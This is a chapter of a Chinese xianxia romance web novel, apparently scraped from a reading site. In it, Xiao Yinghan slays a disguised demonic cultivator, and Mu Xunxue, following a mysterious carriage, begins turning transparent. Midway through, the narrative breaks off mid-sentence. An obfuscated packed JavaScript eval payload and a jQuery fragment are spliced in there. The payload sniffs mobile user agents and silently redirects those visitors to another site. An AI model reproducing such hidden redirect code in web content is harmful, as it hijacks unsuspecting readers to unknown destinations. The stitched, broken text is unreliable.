20. 第 20 章

作品:《误把无情大师兄攻略了

    树林里,一片寂静。


    萧映寒的剑尖,一滴暗红色的血缓缓凝聚,滴落在地面的枯叶上,洇开一小片深色。


    不远处,几个跟着他一起出来追查谢明宴的云梦境弟子,全都目瞪口呆,脸色发白,眼神里是还没散去的惊恐。


    洛川最先从震惊中找回声音,失声道:“她居然是魔!”


    其他几人也陆续回过神,看向地上那具刚刚被萧映寒一剑穿心的女子尸体。


    只见那尸体正在发生诡异的变化,皮肤迅速失去光泽,变得灰败干瘪,五官扭曲变形,隐隐显露出另一种狰狞丑陋的轮廓,周身开始散发出令人不适的腥臭黑气。


    这是他们第一次亲眼见到,修炼大乘仙法,又被反噬入魔后,死去的模样。


    大乘仙法在四五十年前,曾风靡一时。


    因为它门槛极低,不挑资质,谁都能练,而且修炼者前期修为提升速度极快,远超普通功法。


    可问题也出在这里。


    这功法太过荤素不忌,不适合的人强行修炼,前期固然得意,可一旦根基不稳或遭遇瓶颈,便会遭到严重反噬。


    力量失控,存不住修为,人就会变得不人不鬼,除非不断吸收其他正常修士的修为来维持自身。


    大约三十年前,因为这邪功,整个修真界乃至凡界都几乎沦为炼狱。


    后来各大门派付出了惨重代价,才联手将修炼此功的人基本清理干净,尤其像明云疏那样实力强大,难以对付的……


    萧映寒手腕一振,甩掉剑刃上残留的血珠,面无表情地将剑收回鞘中。


    一个肌肉扎实的汉子不可置信:“这里不是靠近蓬莱仙山的地界了吗?怎么会有魔如此大胆。”


    这位正是上次在比武场帮木寻雪开路的周远山。


    他旁边一个穿着青色弟子服,面容沉稳些的师兄解释道:“周师弟,别多想,我们现在还没真正进入蓬莱仙山的核心管辖范围,只是靠近外围。有些漏网之鱼藏在这里,也不奇怪。”


    萧映寒的视线扫过那青衣弟子,没说话,转身朝着常安城的方向走去。


    青蕊见师父动了,连忙招呼其他人:“我们跟上吧。”


    那青衣弟子资历较老,对青蕊这样张罗有些不满,嗤了一声:“硬拉着我们来这蓬莱仙山地界,要是白跑一趟,也不知道算谁的。”


    青蕊一听他话里话外透着对师父决定的质疑,有些坐不住了,反驳道:“刘师兄,你什么意思?”


    那刘姓弟子也抬高下巴,气势不弱地睨着青蕊。


    一弟子道:“刘师兄,话不能这么说,刚才那女魔修伪装,我们好心帮她指路。若不是无赦道君及时赶到,识破并一剑斩了她,我们说不定真会着了道,那谢明宴或许真的往这边来了。”


    刘姓弟子又嗤了一声:“那是赤鬼魔,那么尊敬叫他名字做什么?”


    洛川赶紧打圆场:“名字而已,叫叫无所谓。”


    洛川是执法殿的人,刘姓弟子卖他几分面子,不再说话。


    周远山凑到青蕊身边,压低声音问:“无赦道君平时都这么凶的吗?还是因为我们识人不清,耽误了事,他才不高兴?”


    他们这一队人原本没和萧映寒一起出发,是约好在常安城汇合。没想到刚到这里,就遇到一个柔弱女子求助。


    他们正想帮忙指路,萧映寒的剑就毫无征兆地落了下来,直接取了那女子性命。当时把所有人都吓懵了,大气不敢出。


    即便现在,萧映寒周身的气压也极低,让人不敢靠近。


    青蕊摇摇头,压低声音:“师父平时不是这样的,也不是因为你们,他出门前,心情就很不好了。”


    青蕊猜,多半是木寻雪惹恼了师父。


    毕竟那天师父从外面回来,脸色就冷得吓人,之后敲定这次追捕行程时,更是周身寒气逼人。


    她甚至瞎想起来,师父生气,是因为他自己拒绝了木寻雪同行的要求。


    生谁的气?


    当然是他自己的。


    -


    木寻雪用下巴朝前方扬了扬,示意谢孤舟跟上那辆奇怪的马车,使唤人的动作做得自然无比。


    谢孤舟看着她的动作,想起了从前的一些事,沉默了一瞬,微微低下头。


    他头上裹着黑色的面巾,遮住了大半张脸,连眼睛也藏在阴影里,木寻雪完全看不清他的表情。


    “快跟上啊,”木寻雪催促,“你耷拉着脑袋干嘛?”


    谢孤舟抬起头,面巾上方露出的眼睛剜了她一眼。


    那种久违的,想跟她打一架的冲动,又冒了出来。


    木寻雪见他眼神不善,连忙解释:“那马车是凭空出现的,是我们进城后看到的唯一异常,说不定就是搞清楚这地方不对劲的线索。”


    谢孤舟听了,觉得有道理,便也想加快速度跟上去。


    可问题是——


    他手里牵着的这头傻驴,死活不肯动!


    驴脾气倔,谢孤舟的脾气也上来了,一人一驴开始较劲,一个往前拉,一个往后缩,在原地僵持。


    木寻雪坐在驴背上,看着这场面,乐了。


    谢孤舟最终没能倔过一头驴,气恼地把缰绳往木寻雪手里一塞,自己转身就走。


    木寻雪哈哈笑了一阵,才抖了抖缰绳,那驴子倒是听话地迈步跟上了她。她骑着驴,慢悠悠追上谢孤舟。


    “别生气了,”她安慰道,“驴子只是跟你还不熟。”


    “跟你很熟?”谢孤舟没好气。


    “大概是我看起来比较和气吧,”木寻雪拍拍驴脖子,“你是魔头,它怕你。”


    谢孤舟不说话了,像是接受了这个解释。


    木寻雪又道:“这样,待会儿我请你吃顿好的,就当是驴兄给你赔罪了。”


    正说着,前面那辆马车忽然在一处巷口停了下来。


    木寻雪转头对谢孤舟说道:“马车停了!”


    可谢孤舟的注意力却没在马车上。


    他侧着头,视线盯着一侧茶楼的二楼窗户,他似乎看到了一个人影,一个有些熟悉的人影,一闪而过。


    几乎是本能地,他就要转身追过去。


    还没动,肩头就被一只手按住了。


    谢孤舟低头看了看按在自己肩上的手,又抬眼看向手的主人。


    木寻雪对上他瞬间变得有些发狠的眼神,只觉得按着他肩膀的手心有些发烫。“那个……前面马车停下来了,你这是要去哪儿?”


    谢孤舟拉开她的手:“我离开一下。你先自己盯着那辆马车。”说完,没等木寻雪反应,他身形一动,已经轻飘飘地飞身而起,直接掠进了旁边那家茶楼的二楼窗户。


    木寻雪站在原地,看着空荡荡的窗台。


    这是她第一次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197625|196661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在这种诡异的地方落单,心里有点没底。


    “喂!”她冲着窗户方向喊,“你不如带我一起过去啊!”


    木寻雪这一嗓子,没把谢孤舟喊回来,倒是引起了前面那辆马车下来的那位贵人的注意。


    那人一袭墨蓝色锦缎长袍,衣着考究,气度不凡,只是淡淡朝她这边瞥了一眼。


    只这一眼,木寻雪便觉得一股寒意从脚底升起,浑身都不自在起来。


    她连忙侧过头,假装被路边小摊上的货品吸引,低下头,努力让自己看起来像个普通的路人。


    此刻,木寻雪心里把谢孤舟骂了八百遍。


    这魔头居然就这么把她一个人扔在这儿,自己跑了!


    岂有此理!


    “遇白!发什么呆呢?快进来!我等你们半天了!”清脆的女声从旁边的酒楼二楼传来。


    沈遇白抬起头,方才那冰冷的审视感从他脸上褪去,换上了一种无奈的温和,望向酒楼二楼。


    那里,一个身着藕色云锦襦裙,外罩绯色轻纱的女子正探出半个身子,容貌明艳,朝下用力招手。


    “来了!”沈遇白应了一声,抬脚朝酒楼里走去。


    他们吃饭的地方就在二楼临街的雅间。


    沈遇白推门进去,一眼就看见江浸月的肩头上,站着一只雪白的灵鸟,只有半个巴掌大。


    “大小姐!”沈遇白立刻捂住眼睛,往后退了一步,“你先把你家这灵鸟拿开啊!我害怕它们尖尖的嘴!你不是知道吗!”


    江浸月一脸震惊:“这么小的鸟儿你也怕?!”


    沈遇白说:“小怎么了?小的鸟也是鸟啊!快拿走!”


    江浸月无奈地摇摇头,伸手把肩上的小白鸟拿下来,递给一旁的仆从。


    然后她伸手去拉沈遇白捂着眼睛的手:“好了好了,已经让人把鸟送走了,你现在可以睁——”


    她话还没说完,雅间的门又被推开了。


    两人一起朝门口看去。


    江浸月撇撇嘴,对门外的人道:“你可算到了!再晚点,我估计就得被家里的灵鸟押回去了!他们已经派了三只过来催我,我都到了可以掌权的年纪了,还这样管着我!”


    来人身形清瘦挺拔,头上戴着白色幕篱,木寻雪看不见她的面容。


    只听那戴幕篱的人温和道:“最近哪里都不太平,众多修者都风声鹤唳,杯弓蛇影,他们也是担心你。”


    就在这时,木寻雪猛然一个激灵!


    这声音怎么有点耳熟?


    随即,她又猛然意识到一件事,她怎么能从脑海里,看到雅间里的景象?


    连对话都听得一清二楚!


    木寻雪低头看向自己。


    然后,她更加惊恐地发现,她的手正在变得透明!光线甚至能穿透她的手掌,隐约看到后面地面的石板纹路!


    夭寿啦!


    她好像要消失了!


    必须马上离开这里!


    还没等木寻雪调动灵力跑路,一抬头,正对上了酒楼二楼窗边投来的一道目光。


    沈遇白看着她,似乎比她还要震惊,瞳孔猛地收缩了一下。


    木寻雪心里咯噔一声,立刻从驴背上跳下来,牵起缰绳就想掉头往回走。


    可下一刻,一道身影挡在了她前面。


    沈遇白不知何时,已经从二楼下来,落在了她面前。